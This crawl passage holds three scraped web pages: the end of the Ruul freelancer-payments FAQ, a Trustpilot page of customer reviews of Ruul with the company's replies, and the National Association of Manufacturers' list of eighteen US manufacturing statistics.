secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://www.trustpilot.com/review/ruul.io?page=2	Ruul Reviews \| Read Customer Service Reviews of ruul.io \| 2 of 18 Suggested companies Paddle paddle.com • 10K reviews 4.1 Payhip - Sell Digital Products payhip.com • 361 reviews 4.4 Xolo www.xolo.io • 421 reviews 3.8 Categories Blog Log in For businesses For businesses Log in Categories Blog Money & Insurance Investments & Wealth Alternative Financial Service Ruul Summary About Reviews Visit website Write a review Visit website Claimed profile Ruul Reviews 431 • 4.5 Alternative Financial Service Write a review Visit website Write a review Companies on Trustpilot aren't allowed to offer incentives or pay to hide reviews. Review summary Based on reviews, created with AI Reviewers overwhelmingly had a great experience with this company. Customers consistently praise the platform's user-friendliness and efficiency, noting how it simplifies invoicing and payment management. People appreciate the responsiveness and professionalism of the support team, highlighting thei r ability to resolve issues quickly and provide helpful assistance. The fast payment processing and the overall ease of use of the system are also frequently mentioned as positive aspects. Consumers value the prompt and solution-oriented approach of the staff, with many expressing gratitude for the personalized support they received. The platform is considered a great tool for freelancers, making it easier to manage finances and receive payments from international clients. While opinions on payment processes are mixed, the positive feedback on customer service, user experience, and response times suggests a high level of satisfaction overall. See more Based on these reviews Furkan Yıldız Dec 13, 2025 I am a freelance network administrator and software developer. I encountered Ruul when a company I worked with required invoicing. It was an excellent experience. In fact, there was an issue because... See more Company replied Beytullah Gümüş Nov 20, 2025 My Experience with Ruul Payment System (8 Months) I have been using the Ruul payment system for 8 months now for my freelance graphic design work, and I am completely satisfied with the ser... See more Company replied Eren T. Sep 15, 2025 Ruul.io made my entire process smooth and stress-free. Their platform is super easy to use and very reliable — exactly what I needed. Special thanks to Onur for the amazing support, he went above and... See more Company replied ZB Zoe Barnett Mar 3, 2025 Verified No problems with payment. Invoicing works well and payments come through promptly. It feels a bit basic. I'd like to be able to save standard invoice items to reuse in future invoices, and there's... See more Company replied Ummet Kucuker Oct 21, 2025 I am working internationally, for other countries around the world. Getting my payments fast. They respond very fast and kindly to all my questions. Love this! Thé solution for freelancers to get paym... See more Company replied UÇ Utku Ç Jul 23, 2025 Ruul was suggested to me by a friend of mine who is also working as a freelancer and contractor. Altough I am not a person who quickly trust trying someting new, with its simple pages and fast respons... See more Company replied Oliviu-Alexandru Rogozan Oct 31, 2025 Ruul.io‍‌‍‍‌‍‌‍‍‌ has been a complete game changer in how I handle client payments and invoices. It is the perfect transition tool between being independent and a professional entity - there... See more Company replied Murat Tahsin Ceran Oct 9, 2025 Ruul has added a new dimension to my life. I have been working with Ruul for about three years now and I am very satisfied with them. Their quick responses and solution-oriented approach are incredibl... See more Company replied Kaya Jun 17, 2025 When I reached out for help, I couldn’t believe how quickly the issue was resolved. If I had been working with another company, it probably would have taken days but they managed to sort it out in jus... See more Company replied İdil Turan Oct 17, 2025 Their quick response and solution-oriented approach helped me resolve my issue in a short time. Thank you for your attention and support. Company replied Hande Akmehmetoğlu Sep 2, 2025 I've been working with Ruul team for sometime and when I have a question they replied me back quickly and solved my problem without hesitation. I feel very safe and connected with them. Thank you so m... See more Company replied Asım Hocagil Jul 9, 2025 Excellent Support – Thank You, Onur! Ruul’s customer representative Onur was extremely helpful, patient, and solution-oriented throughout the entire process. He listened carefully to all my questio... See more Company replied Buse Ertarman Apr 28, 2025 best application for freelancers ever-made. it's kind of hard to tell how it's working to old school accountants but faq sections and communication desk is always ready to help! Company replied erdem ugur Oct 3, 2025 Working with the Ruul team is always a pleasure. Their ability to provide solutions on the spot is very important to me. Thanks to the entire Ruul team. Company replied NA nadir a Jan 15, 2025 It works quite successfully. Fast support and getting paid without delay is a pleasure. Thank you to everyone for their efforts. Company replied ES Earvin Sosa Jul 29, 2025 Onur was really helpful, actually all of them are amazing including my previous rep Cansu. Overall satisfied with the services they provide. Company replied Cesar Serrano May 28, 2025 customer service is the best no bots, no ia, a real perosn is what need to make things easier and faster!! Company replied ÇÜ Çağdaş Ünal Jun 3, 2025 Verified Ruul makes invoicing simple and stress-free. The whole process is clear and easy to follow. If I ever have a question, the team is quick to help and always friendly. Getting paid on time is a big plus... See more Company replied VA VasylKostyniuk May 14, 2025 Ruul is always doing a great work for me. And their supports are very helpful to understand the status. Company replied Hülya Ayaz Aug 29, 2025 Ayça Hanım from the Turkish team helped me a lot during a payment issue. She was kind and very helpful. Thank you Company replied Kateryna RIMIKHANOVA Aug 17, 2025 Love everything about it! Really easy to use and if u don't understand something, the support team replies fast Company replied sensoy Sep 1, 2025 I use it for the invoicing with my work. Works smoothly and customer support is really fast and helpful. Company replied Ozgun Gobel Sep 19, 2025 Verified Even though it was my first time using it, it was fast and solution-oriented. It quickly solved exactly what I needed! Company replied Hamraoui Hiba Jul 28, 2025 Freelance can be a great first job really. It makes me able to fix my own working hours and work from anywhere freely Company replied Oluwatomiwa Adebisi Oct 13, 2025 They're very transparent, the customer service is excellent, and the payouts are quick for invoices Company replied ZS Zoe Saglam Aug 26, 2025 Fast support turnaround and helpful team. Thank you. Company replied DS Deepak Sanan Feb 22, 2025 Verified Extremely simplified sign up process, fast payment. I experienced no frustration, only smiles !!! Company replied kore kuge Jul 25, 2025 The response was very quick and accurate. Thank you! Company replied GB GAYE BERNA Jun 2, 2025 Customer service was so great and fast. Company replied Vladislav Rybak Sep 25, 2025 No problem with transaction. Best support. Company replied FR FrogWizard69 Apr 16, 2025 Great system, great work, amazing team Company replied Arda Batuhan Demir Apr 9, 2025 Great system, great work, amazing team Company replied VM Valentin M Mar 5, 2025 Verified Great service. Company replied FD Fayssal Djam-mal Mar 14, 2025 Verified Good support Company replied DE Derya Sep 10, 2025 Tank you very much onur bey🙏🙏 Company replied Dustin Wiens Updated Sep 20, 2025 took payment. never gave it to the company. now me and the company are out. do not recommend Updated - money returned, still dont recommend Company replied Muhammad Ali Nasir UD Din Aug 1, 2025 It is quite good platform , costumer service is impressive and faster. If this platform gives clients to search option for getting best talents available on their platform, with their low commission... See more Company replied Renato Updated Sep 30, 2025 Unfortunately they change compliance (without prior notice to prevent issues at payments receivings) and service cannot be used if you are from Venezuela citizen or Venezuela Resident, so we can not... See more Company replied See all 431 reviews We perform checks on reviews Company details Active Trustpilot subscription Alternative Financial Service Written by the company Invoicing and payment collection for freelancers. No company needed. Just Ruul. Contact info Hjälmaregatan 3, 201 23, Malmö, Sweden info@ruul.io ruul.io 4.5 Excellent 431 reviews 5-star 4-star 3-star 2-star 1-star How is the TrustScore calculated? Replied to 100% of negative reviews Typically replies within 24 hours How this company uses Trustpilot People also looked at Paddle paddle.com 4.1 (10K) Payhip - Sell Digital Products payhip.com 4.4 (361) Xolo www.xolo.io 3.8 (421) Lemon Squeezy lemonsqueezy.com 1.3 (104) Dodo Payments dodopayments.com 3.4 (55) Paidwork paidwork.com 4.4 (47K) Whop whop.com 3.8 (2K) Enty enty.io 3.8 (67) 4.5 All reviews 431 total ● Write a review 5-star 89% 4-star 4% 3-star 1% 2-star 1% 1-star 5% How Trustpilot labels reviews More filters Most recent Merged reviews and profile Read more This profile was merged with one or more other Trustpilot profiles belonging to this company. Some reviews shown here were originally from another profile, but now appear in one place. Profiles can be merged for reasons such as identical domains, rebranding, or change in ownership. Read more Hülya Ayaz TR • 1 review Aug 29, 2025 Ayça Hanım from Turkish Team Ayça Hanım from the Turkish team helped me a lot during a payment issue. She was kind and very helpful. Thank you August 29, 2025 Unprompted review Reply from Ruul Sep 1, 2025 Thank you for your kind words! We’re glad to hear our team was able to assist you with care and support. Your satisfaction means a lot to us. 💙 ZS Zoe Saglam TR • 2 reviews Aug 26, 2025 Helpful support Fast support turnaround and helpful team. Thank you. August 26, 2025 Unprompted review Reply from Ruul Aug 26, 2025 Thank you, Zoe! We’re so glad that you appreciate our services and the hard work. Keep on Ruuling 💙 Kateryna RIMIKHANOVA UA • 1 review Aug 17, 2025 Would 100% reccomend Love everything about it! Really easy to use and if u don't understand something, the support team replies fast July 31, 2025 Unprompted review Reply from Ruul Aug 18, 2025 Thank you for the amazing feedback! We’re delighted to hear you love using Ruul and that our team could support you quickly whenever needed. 💙 Muhammad Ali Nasir UD Din US • 1 review Aug 1, 2025 It is quite good platform It is quite good platform , costumer service is impressive and faster. If this platform gives clients to search option for getting best talents available on their platform, with their low commission rate and better service, all people would move to ruul from other platforms like Upwork and Fiverr August 1, 2025 Unprompted review Reply from Ruul Aug 1, 2025 Thank you for your thoughtful review! We’re happy to hear you’re enjoying the platform and our support. We appreciate your suggestion and will keep working to improve the experience for both talents and clients. 💙 ES Earvin Sosa PH • 1 review Jul 29, 2025 Onur was really helpful Onur was really helpful, actually all of them are amazing including my previous rep Cansu. Overall satisfied with the services they provide. July 29, 2025 Unprompted review Reply from Ruul Jul 30, 2025 Thank you for your kind words! We’re so glad to hear you’ve had a great experience with our team. Your satisfaction means a lot to us! 💙 Hamraoui Hiba TN • 1 review Jul 28, 2025 Freelance can be a great first job… Freelance can be a great first job really. It makes me able to fix my own working hours and work from anywhere freely July 28, 2025 Unprompted review Reply from Ruul Jul 29, 2025 Thank you for sharing your experience! We’re happy to hear that freelancing through Ruul has given you the flexibility and freedom you were looking for. Wishing you continued success on your journey! 💙 UÇ Utku Ç ES • 1 review Jul 23, 2025 Ruul Experience as a Freelancer Ruul was suggested to me by a friend of mine who is also working as a freelancer and contractor. Altough I am not a person who quickly trust trying someting new, with its simple pages and fast responses of the support team made me quickly use their system on all of my works. Thanks Ruul and the team, keep up the great work! July 23, 2025 Unprompted review Reply from Ruul Jul 24, 2025 Thank you for your kind words and trust! We're happy to hear Ruul has made things easier for you and that our team’s support helped you get started confidently. We're always here if you need us. Keep on Ruuling! 💙 RS Rob S. DE • 3 reviews Jul 23, 2025 Turned from good to evil Rimuut (Ruul) was once the holy grail for Freelancers. Now it is a blatant money grab. Commissions tripled compared to 5 years ago. Suddenly every currency other than USD is being charged extra on top. People are being charged 6-8% per invoice now. What is happening? By now it is cheaper to set up an actual company in the US or Dubai and run it instead of using Ruul. Their support, especially Onur, are great. Just the cost for using Ruul is getting out of hand. For a simple 2000 EUR invoice, that's 120 EUR...for invoicing After 7 years of using Ruul, I will be looking for a new service provider. July 23, 2025 Unprompted review Reply from Ruul Updated Jul 23, 2025 Dear Rob, Thank you for your feedback. We'd like to clarify a few points for transparency: 1. Our current commission rates range between 5% and 6.5%, not 6–8% as mentioned. 2. Our fees have not tripled over the past five years. As of June 11, 2025, we introduced a flat base rate structure with clearly stated transfer costs, replacing the previous tiered model that included some hidden fees. Due to a global rise in financial and compliance-related transaction costs, your rate adjustment reflects an approximate 60% increase, not 300%, based on your previous tier-based rates. We always aim to remain fair and competitive while continuing to provide secure, compliant, and fully supported invoicing services to freelancers around the world. We sincerely appreciate your long-time trust in Ruul and hope this helps clarify the facts. Asım Hocagil ME • 2 reviews Jul 9, 2025 Excellent Support Excellent Support – Thank You, Onur! Ruul’s customer representative Onur was extremely helpful, patient, and solution-oriented throughout the entire process. He listened carefully to all my questions and provided prompt assistance whenever needed. It’s truly valuable to receive such professional and attentive support. Many thanks to Onur and the Ruul team! July 9, 2025 Unprompted review Reply from Ruul Jul 9, 2025 Thank you for your wonderful feedback! We’re so happy to hear that you had a smooth and supportive experience with our team. Providing attentive and solution-oriented service is what we strive for. Keep on Ruuling! 💙 See 1 more review by Asım Kaya TR • 2 reviews Jun 17, 2025 I couldn’t believe how quickly the issue was resolved When I reached out for help, I couldn’t believe how quickly the issue was resolved. If I had been working with another company, it probably would have taken days but they managed to sort it out in just a few minutes. June 17, 2025 Unprompted review Reply from Ruul Jun 17, 2025 Thank you! We’re so happy to hear our team could assist you promptly and make the process smooth. Keep on Ruuling! 💙 ÇÜ Çağdaş Ünal TR • 1 review Jun 3, 2025 Verified Friendly team, easy process Ruul makes invoicing simple and stress-free. The whole process is clear and easy to follow. If I ever have a question, the team is quick to help and always friendly. Getting paid on time is a big plus. June 2, 2025 Reply from Ruul Updated Jun 3, 2025 Thank you, Çağdaş! We’re so happy to hear that the process has been smooth and our team could support you along the way. Getting paid on time is what we love to see! Keep on Ruuling! 💙 GB GAYE BERNA TR • 1 review Jun 2, 2025 Customer service was so great and fast. Customer service was so great and fast. June 2, 2025 Unprompted review Reply from Ruul Jun 2, 2025 Thank you, Gaye! Glad to hear our team was quick and helpful. Keep on Ruuling! 💙 Cesar Serrano MX • 3 reviews May 28, 2025 customer service is the best no bots customer service is the best no bots, no ia, a real perosn is what need to make things easier and faster!! May 28, 2025 Unprompted review Reply from Ruul May 28, 2025 Thank you, Cesar! We’re so glad you appreciated the human touch. Our team’s always here to help. Keep on Ruuling! 💙 VA VasylKostyniuk UA • 3 reviews May 14, 2025 Ruul is always doing a great work for… Ruul is always doing a great work for me. And their supports are very helpful to understand the status. May 14, 2025 Unprompted review Reply from Ruul May 14, 2025 Thanks for sharing your experience! We’re happy to hear Ruul’s working well for you and that our team has been clear and supportive. Keep on Ruuling! 💙 See 2 more reviews by VasylKostyniuk Buse Ertarman TR • 2 reviews Apr 28, 2025 best application for freelancers… best application for freelancers ever-made. it's kind of hard to tell how it's working to old school accountants but faq sections and communication desk is always ready to help! April 28, 2025 Unprompted review Reply from Ruul Apr 28, 2025 Thank you for your great feedback, Buse! We’re so happy to hear you’re enjoying the platform and that our support resources have been helpful. We’ll keep working to make things even easier for you. Keep on Ruuling! 💙 Renato VE • 1 review Updated Sep 30, 2025 Truly a Great Service on there (not suitable if you are Venezuela Resident) Unfortunately they change compliance (without prior notice to prevent issues at payments receivings) and service cannot be used if you are from Venezuela citizen or Venezuela Resident, so we can not longer use the service, still good service, but another case of Over Compliance for Venezuela Residents from them or their Partners. Still, if you can use it, a great service with a great support, if you issue is not by compliance change, if very likely to receive a excellent support with any issue you can encounter April 28, 2025 Unprompted review Reply from Ruul Apr 28, 2025 Thank you for your wonderful feedback, Renato! We’re delighted to hear Ruul has made invoicing and payouts easier for you, and that our support team could be there when needed. Keep on Ruuling! 💙 FR FrogWizard69 RO • 2 reviews Apr 16, 2025 Great system Great system, great work, amazing team April 16, 2025 Unprompted review Reply from Ruul Apr 16, 2025 Thank you! We’re so glad you’re enjoying the experience. Keep on Ruuling! 💙 Arda Batuhan Demir TR • 1 review Apr 9, 2025 Great system Great system, great work, amazing team April 9, 2024 Unprompted review Reply from Ruul Apr 9, 2025 Thank you, Arda! We’re thrilled to hear that. Your support means a lot. Keep on Ruuling! 💙 EY Ensarullah Yurterı TR • 1 review Mar 20, 2025 Verified To much fee but transaction was fast. March 17, 2025 Reply from Ruul Mar 21, 2025 Thank you for your feedback. We’re glad you found the transaction fast, and we appreciate your thoughts on fees. We continually strive to provide the best service possible. Keep on Ruuling! 💙 FD Fayssal Djam-mal MA • 1 review Mar 14, 2025 Verified Currency’s Good support March 11, 2025 Reply from Ruul Mar 17, 2025 Thank you Fayssal! Glad you’re happy with the support. Keep on Ruuling! 💙 Previous 1 2 3 4 Next page The Trustpilot Experience We're open to all Anyone can write a Trustpilot review. People who write reviews have ownership to edit or delete them at any time, and they’ll be displayed as long as an account is active . We champion verified reviews Companies can ask for reviews via automatic invitations. Labeled Verified, they’re about genuine experiences. Learn more about other kinds of reviews. We fight fake reviews We use dedicated people and clever technology to safeguard our platform. Find out how we combat fake reviews . We show the latest reviews Learn about Trustpilot’s review process . We encourage constructive feedback Here are 8 tips for writing great reviews . We verify reviewers Verification can help ensure real people are writing the reviews you read on Trustpilot. We advocate against bias Offering incentives for reviews or asking for them selectively can bias the TrustScore, which goes against our guidelines . Take a closer look are you human? Choose country United States Danmark Österreich Schweiz Deutschland Australia Canada United Kingdom Ireland New Zealand United States España Suomi Belgique België France Italia 日本 Norge Nederland Polska Brasil Portugal Sverige About About us Jobs Contact Blog How Trustpilot works Press Investor Relations Community Trust in reviews Help Center Log in Sign up Businesses Trustpilot Business Products Plans & Pricing Business Login Blog for Business Data Solutions Follow us on Legal Privacy Policy Terms & Conditions Guidelines for Reviewers System status Modern Slavery Statement © 2026 Trustpilot, Inc. All rights reserved.	2026-01-13T08:47:56
https://nam.org/mfgdata/facts-about-manufacturing-expanded/	Facts About Manufacturing - NAM Skip to content Open Menu Issues Issues Tax AI Energy and Natural Resources Fighting the Regulatory Onslaught Immigration Trade Transportation and Infrastructure Labor and Employment Health Care Corporate Governance Research, Innovation and Technology Competing to Win Agenda From protecting pro-growth tax provisions to fighting the regulatory onslaught and an imbalanced trade environment – the NAM is working hand in hand with manufacturers to engage officials, candidates and more Americans to take action on an agenda that’s going to address our most pressing issues, expand opportunity for the workforce and make our country’s competitiveness more resilient than ever. Business Operations Become a Member Search the National Association of Manufacturers Get Involved Home Manufacturing in the United States Facts About Manufacturing The Top 18 Facts You Need to Know Share on Twitter Share on Facebook Share on LinkedIn LinkedIn icon Share Link Print Page Share on Twitter Share on Facebook Share on LinkedIn LinkedIn icon Share Link Print Page 1. Manufacturers contributed $2.90 trillion at the annual rate to the U.S. economy in Q2 2025. Manufacturing value-added output increased from $ 2. 813 trillion at an annual rate in Q1 2025 to $2.859 trillion in Q2 2025. Value-added output rose in Q2 for durable goods (up from $1.526 trillion to $1.534 trillion ) and nondurable goods (up from $1.28 8 trillion to $1.325 trillion ). Manufacturing accounted for 9.4% of value-added output in the U.S. economy in Q2. At the same time, real value-added output in the manufacturing sector rose in Q2 (up from $2.33 8 trillion to $2.405 trillion ) , as expressed in chained 2017 dollars. In Q2, real value-added output increased for durable goods (up from $1.259 trillion to $ 1.286 trillion ) and nondurable goods ( up from $1.07 8 trillion to $1.118 trillion ). (Last Updated: 12 / 2 /25; Source: Bureau of Economic Analysis ) 2. For every $1.00 spent in manufacturing, there is a total impact of $2.64 to the overall economy. Including indirect and induced impacts, for every $1.00 spent in manufacturing, there is a total impact of $2.64 to the overall U.S. economy. This figure represents one of the largest sectoral multipliers in the economy. In addition, for every one worker in manufacturing, 4.8 workers are added in the overall U.S. economy, including indirect and induced impacts, and for every $1.00 earned in direct labor income in the manufacturing sector, $3.92 in labor income earned is added to the overall U.S. economy. (Source: NAM calculations using 2023 IMPLAN data) 3. The majority of manufacturing firms in the United States are quite small. The majority of manufacturing firms in the United States are quite small. In 2022, there were 239,265 firms in the manufacturing sector, with all but 4,177 firms considered to be small (i.e., having fewer than 500 employees). In fact, around three-quarters of these firms have fewer than 20 employees, and 93.1% have fewer than 100 employees. With that said, the bulk of employment comes from larger firms, with 59.1% of all employees in the sector working for firms with 500 or more employees. (Last Updated: 5/6/25; Source: U.S. Census Bureau, Statistics of U.S. Businesses ) 4. There were nearly 13 million manufacturing workers in September 2025. Manufacturing employment slipped in September, losing 6,000 employees from August.  Employment in the sector has been in decline over the past year and is back near pre-pandemic levels, with 12,706,000 manufacturing employees in September. The sector averaged 12,613,000 employees pre-pandemic (2017–2019). At the same time, nonfarm payroll employment rose by 119,000 in September. The unemployment rate ticked up 0.1% to 4.4%, with the number of unemployed Americans increasing from 7,384,000 to 7,603,000. Meanwhile, the labor force participation rate edged up 0.1% to 62.4%. (Last Updated: 12/2/25; Source: Bureau of Labor Statistics ) 5. Manufacturing employees earned $106,691 on average in 2024, including pay and benefits. In 202 4 , manufacturing workers in the United States earned $106,691 on average, including pay an d benefits. Workers in all private nonfarm industries earned $90,601 on average. Looking s pecifically at wages, the average hourly earnings of production and nonsupervisory workers in manufacturing remained the same at $ 2 9.03 in  August , with 4 .1 % growth over the past 12 months. For all manufacturing employees, average hourly earnings were $35. 50 , up 3 .9 % year-over-year. (Last Updated: 10/ 1 5 /25; Sources: Bureau of Economic Analysis a nd Bureau of Labor Statistics ) 6. In 2025, 95% of manufacturing employees were eligible for health insurance benefits. Manufacturers have the highest percentage of workers who are eligible for health benefits provided by their employer.   Indeed, 95% of manufacturing employees were eligible for health insurance benefits in 2025, according to the Kaiser Family Foundation. This is significantly higher than the 80% average for all firms. Of those who are eligible, 80% participate in their employer’s health plan (i.e., the take-up rate). Transportation, communications and utilities (86%) as well as finance (81 %) had higher take-up rates in 2025. Meanwhile, the average ann ual cost of a family health care plan for a family of four in manufacturing was $25,428, below the average of $26,993 for all industries in 2025. (Last Updated: 1 0 / 22 /2 5 ; Source: Kaiser Family Foundation ,   Employer Health Benefits 2025 Annual Survey) 7. There were 409,000 manufacturing job openings in August 2025. There were 409,000 manufacturing job openings in August, down from a revised 438,000 in July. Durable goods job openings declined by 3,000 in August to 259,000, while nondurable goods job openings fell by 26,000 to 150,000. This number of openings is below the pre-pandemic (2017-2019) range, wherein the average number of openings in the sector was 432,000, in contrast with the average of 756,000 between 2021 and 2023. In the larger economy, nonfarm business job openings increased from 7,208,000 in July to 7,227,000 in August. There were 7,384,000 unemployed Americans reported in August. Therefore, for every job opening in the U.S. economy, there is more than one unemployed worker. As such, the labor market has reached a turning point, with more people actively looking for work than job openings. On the other hand, one year ago there were 92 unemployed workers for every 100 open jobs. (Last Updated: 10/23/25; Source: Bureau of Labor Statistics ) 8. By 2033, 3.8 million manufacturing jobs will likely be needed. Over the next decade, 3.8 million manufacturing jobs will likely be needed, and 1.9 million are expected to be unfilled if we do not inspire more people to pursue modern manufacturing careers. Deloitte and the Manufacturing Institute found that of open jobs, 2.8 million will come from retirement and 760,000 from industry growth; an estimated 230,000 jobs will be created from recent legislative and regulatory actions. Meanwhile, attracting and retaining talent is the primary business challenge indicated by more than 48% of respondents in the NAM’s Manufacturers’ Outlook Survey for the second quarter of 2025. (Last Updated: 6/11/25; Source: Deloitte and the Manufacturing Institute ) 9. U.S.-manufactured goods exports totaled more than $1.6 trillion in 2024. After weakening in 2020 due to pandemic-related challenges, trade volumes rebounded in the subsequent four years, with U.S.-manufactured goods exports hitting a new record level.   In 2024, manufacturers in the United States exported $1, 6 47.4 billion , with durable goods exports hitting an all-time high, at $1, 0 47.9 billion . Nondurable goods exports rose slightly in 2024, growing to $ 59 9 . 47 billion from $ 5 90 . 01 billion in 2023. (Last Updated: 9 / 1 5 /25; Source: U.S. Cen s us Bureau ) 10. Manufactured goods exports have grown substantially over the past two decades. Manufactured goods exports have more than doubled over the past two decades. U.S.-manufactured goods exports totaled $622.31 billion in 2002, and in 2024, that figure is $1,638.11 billion, or 2.6 times larger. Nondurable goods exports have grown even faster over that time frame, up from $171.26 billion in 2002 to $598.60 billion in 2024, or 3.5 times larger. Meanwhile, durable goods grew from $451.05 billion in 2002 to $1,039.51 billion in 2024, or 2.3 times higher. (Last Updated: 5/7/25; Source: U.S. Census Bureau ) 11. There was nearly $15.8 trillion in global trade of manufactured goods in 2024. World trade in manufactured goods rose in 2024, increasing from $15.5 trillion in 2023 to $15. 8 trillion . That figure has risen from $4. 7 trillion in 2000 and $9.8 trillion in 2010. The U.S. share of world trade in manufactured goods was 7.9% in 202 4 . (Last Updated: 10 / 27 /25; Source: World Trade Organization ) 12. Manufacturing in the U.S. would be the eighth-largest economy in the world. Taken alone, manufacturing in the United States would be the eighth-largest economy in the world. With $2.91 trillion in value added from manufacturing in 2024, only seven other nations (including the U.S.) would rank higher in terms of their GDP. Those other nations with higher GDP in 2024 were (in order) the U.S., China, Germany, Japan, India, the United Kingdom and France. After manufacturing in the U.S., the next five economies would be Italy, Canada, Brazil, the Russian Federation and South Korea, in that order. (Last Updated: 5/6/25; Source: Bureau of Economic Analysis and International Monetary Fund ) 13. Foreign direct investment in U.S. manufacturing reached more than $2.4 trillion in 2024. Foreign direct investment in U.S. manufacturing reached a new record level in 2024. Overall, foreign direct investment in manufacturing has jumped from $756.87 billion in 2010 to $2,416.08 billion in 2024. The manufacturing sector comprised 42.33% of the $5.7 trillion in total foreign direct investment in 2024, as expressed on a historical cost basis. These data should continue to grow over the coming years, with the sector increasingly more competitive globally and with more companies reevaluating their supply chain and renewing their investments in the United States. ( Last Updated: 11 /2 5 /25; Source: Bureau of Economic Analysis ) 14. Private manufacturing construction spending slows in August from record levels in 2024. Private manufacturing construction spending declined from $ 22 1 . 2 billion in July to $ 2 18 . 9 billion in August .   Manufacturing construction spending has slowed after soaring dramatically in 2022 and 2023. Down 8.5 % year-over-year in August , private manufacturing construction spending is now in decline after being up 1 5.7 % year-over-year in August 2024. High interest rates, increases in construction material prices and economic uncertainty threaten to further inhibit growth in the months ahead. Nevertheless, spending still far exceeds pre-pandemic averages. ( Last Updated: 12/ 2 / 25 ; Source: U.S. Census Bureau ) 15. U.S. affiliates of foreign multinational firms employed more than 5.3 million manufacturing workers. U.S. affiliates of foreign multinational enterprises employed more than 5.3 million manufacturing workers in the United States in 2022, or roughly 16.4% of total employment in the sector. In 2022, the most recent year with data, manufacturing sectors with the largest employment from foreign multinationals included transportation equipment (1,109,900), including 1,002,500 in motor vehicles; computers (904,000), including 427,200 in semiconductors; chemicals (595,400); machinery (506,700); and food (505,700). Total compensation in the manufacturing sectors from these affiliates was $215.9 billion, and those entities spent nearly $33.8 billion on research and development. (Last Updated: 11/6/24; Source: Bureau of Economic Analysis, Activities of U.S. Affiliates of Foreign Multinational Enterprises, 2022 ) 16. Manufacturers perform 51.8% of all private-sector R&D. Manufacturers in the United States perform 51.8% of all private-sector R&D in the nation, driving more innovation than any other sector. R&D in the manufacturing sector has risen from $132.5 billion in 2000 to a record $412.8 billion in 2024. In the most recent data, pharmaceuticals accounted for 36.4% of all manufacturing R&D, spending $150.3 billion in 2024. Semiconductor and other electronic components (14.1%), other computer and electronic manufacturing (13.7%) and motor vehicles and parts (8.4%) also contributed significantly to R&D spending in 2024. ( Last Updated: 1 2 / 3 /24; Source: Bureau of Economic Analysis ) 17. Manufacturers consume one-third of the nation’s energy. Industrial users consumed 33.25 quadrillion Btu of energy in 2022, or 33.5% of the total. Moreover, the U.S. Energy Information Administration estimates that industrial users will consume 34.21 quadrillion Btu of energy in 2030, or 2.9% more than in 2022. (Source: U.S. Energy Information Administration, Annual Energy Outlook 2023 ) 18. The cost of federal regulations falls disproportionately on manufacturers. The cost of federal regulations falls disproportionately on manufacturers, particularly those that are smaller. Manufacturers pay $29,100 per employee on average to comply with federal regulations, or nearly double the $12,800 per employee costs borne by all firms as a whole. The burden is even greater for small manufacturers in the U.S., or those with fewer than 50 employees, which incur the highest regulatory costs of all U.S. firms: an estimated $50,100 per employee per year. Overall, the total cost of complying with federal regulations in 2022 was $3.079 trillion (in 2023 dollars). (Source: The Cost of Federal Regulation to the U.S. Economy, Manufacturing and Small Business , October 2023). Learn More at the Center for Manufacturing Research Sponsorship Careers Terms & Conditions Privacy Policy Get Involved Issues Issues Economic Data and Growth Energy Environment Health Care Immigration Innovation and Technology Labor and Employment Regulatory and Legal Reform Research Research, Innovation and Technology Tax Trade Transportation and Infrastructure Workforce and Education National Association of Manufacturers 733 10th Street NW Suite 700 Washington, DC 20001 Toll Free: (800) 814-8468 Phone: (202) 637-3000 [email protected] Connect With Us Follow Us on Twitter Follow Us on LinkedIn Follow Us on Facebook Follow Us on YouTube The National Association of Manufacturers (NAM) represents 14,000 member companies from across the country, in every industrial sector. We are the nation’s most effective resource and influential advocate for manufacturers. © 2026 National Association of Manufacturers Close Menu Issues Back Issues Tax AI Energy and Natural Resources Fighting the Regulatory Onslaught Immigration Trade Transportation and Infrastructure Labor and Employment Health Care Corporate Governance Research, Innovation and Technology Competing to Win Agenda Business Operations Become a Member About the NAM Back About the NAM NAM 2024 Annual Report NAM Board of Directors NAM Leadership U.S. Manufacturing Competitiveness Agenda News & Insights Back News & Insights News Press Releases Data and Research Back Data and Research State Manufacturing Data Manufacturers’ Outlook Survey Research Back Research Cost of Federal Regulations Study on stricter interest expense limitation U.S. Health Care Supply Chain Resilience Employer-Provided Health Plan Costs Are Rising Economic Impact of Proposed EPA Regulation (Revised) National Impact of a West Coast Port Stoppage Natural Gas Study Potential Economic Impacts of a Stricter Ozone Standard Employer Sponsored Coverage Policy Issues Back Policy Issues Competing to Win A Way Forward Energy Environment Health Care Immigration Labor and Employment Research, Innovation & Technology Regulatory & Legal Reform Tax Trade Transportation & Infrastructure Manufacturing Institute Back Manufacturing Institute Creators Wanted MFG Day Manufacturing Leadership Council Innovation Research Interchange Litigation Back Litigation The Legal Center Manufacturers’ Accountability Project NAM Legal Referral Service—powered by Meritas Events Back Events Executive Insights Series Manufacturing Executive Leadership Program Member Services Back Member Services Policy Issues NAM Ambassador Program NAM Legal Center NAM-PAC Workforce Solutions Operational Excellence Back Operational Excellence Manufacturing Leadership Council Leading Edge Innovation Research Interchange Operational Solutions Alliances Back Alliances Allied Associations Group Council of Manufacturing Associations Back Council of Manufacturing Associations CMA Board of Advisers CMA Member Organizations Learn More About the CMA Refer a Member Conference of State Manufacturers Associations Sponsorship Input Power of Small Become a Member The NAM Store Get the latest in your 